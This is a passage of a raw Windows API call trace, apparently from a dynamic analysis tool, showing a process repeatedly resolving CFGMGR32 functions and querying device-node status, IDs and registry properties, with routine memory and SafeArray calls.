lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64d937ad, dwHighDateTime=0x1d9eb0c)) [0221.447] SetEvent (hEvent=0x248) returned 1 [0221.451] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.451] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.455] malloc (_Size=0x18) returned 0x196ef0d1de0 [0221.455] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x18, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0221.455] malloc (_Size=0x48) returned 0x196ef0fbe00 [0221.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x64d937ad, dwHighDateTime=0x1d9eb0c)) [0221.455] SetEvent (hEvent=0x248) returned 1 [0221.460] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.460] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.460] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.461] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.462] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.463] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.463] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.463] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0221.463] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x18, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0221.463] malloc (_Size=0x48) returned 0x196ef0fb770 [0221.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x64dba970, dwHighDateTime=0x1d9eb0c)) [0221.463] SetEvent (hEvent=0x248) returned 1 [0221.466] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.467] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.470] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.470] malloc (_Size=0x18) returned 0x196ef0d20c0 [0221.470] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.470] malloc (_Size=0x48) returned 0x196ef0fb860 [0221.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64dba970, dwHighDateTime=0x1d9eb0c)) [0221.471] SetEvent (hEvent=0x248) returned 1 [0221.558] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.558] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.559] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.560] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.561] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.562] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.563] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.563] malloc (_Size=0x18) returned 0x196ef0d20e0 [0221.563] CM_Get_Device_IDA (in: dnDevInst=0x19, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0103\\0") returned 0x0 [0221.563] malloc (_Size=0x48) returned 0x196ef0fb270 [0221.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x64e9e874, dwHighDateTime=0x1d9eb0c)) [0221.563] SetEvent (hEvent=0x248) returned 1 [0221.568] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.568] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.572] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.572] malloc (_Size=0x18) returned 0x196ef0d1d60 [0221.572] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0221.572] malloc (_Size=0x5a) returned 0x196ef0d0530 [0221.572] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608) returned 0x0 [0221.573] free (_Block=0x196ef0d0530) [0221.573] malloc (_Size=0x48) returned 0x196ef0fc170 [0221.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64ec5b0d, dwHighDateTime=0x1d9eb0c)) [0221.573] SetEvent (hEvent=0x248) returned 1 [0221.576] malloc (_Size=0x18) returned 0x196ef0d1b00 [0221.577] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0221.577] free (_Block=0x196ef0d1b00) [0221.577] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0221.577] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0221.577] free (_Block=0x196ef0d1ec0) [0221.577] malloc (_Size=0x18) returned 0x196ef0d19a0 [0221.577] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0221.577] free (_Block=0x196ef0d19a0) [0221.577] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855360 [0221.577] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0221.577] SafeArrayGetLBound (in: psa=0x196ef1f2cf0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0221.577] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0221.577] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa9b0 [0221.577] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0221.577] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0221.577] SafeArrayGetElemsize (psa=0x196ef1f2cf0) returned 0x8 [0221.578] SafeArrayGetElement (in: psa=0x196ef1f2cf0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0221.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e710, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e718, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.579] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e720, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.580] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa9b0) returned 1 [0221.580] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855360) returned 1 [0221.581] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.581] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.584] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.585] malloc (_Size=0x18) returned 0x196ef0d1d60 [0221.585] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0221.585] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0221.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64eeae12, dwHighDateTime=0x1d9eb0c)) [0221.585] SetEvent (hEvent=0x248) returned 1 [0221.588] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.588] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.591] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0221.591] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.595] malloc (_Size=0x48) returned 0x196ef0fb540 [0221.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64eeae12, dwHighDateTime=0x1d9eb0c)) [0221.595] SetEvent (hEvent=0x248) returned 1 [0221.685] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.685] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.688] GetProcAddress (hModule=0x7ffa786c0000, 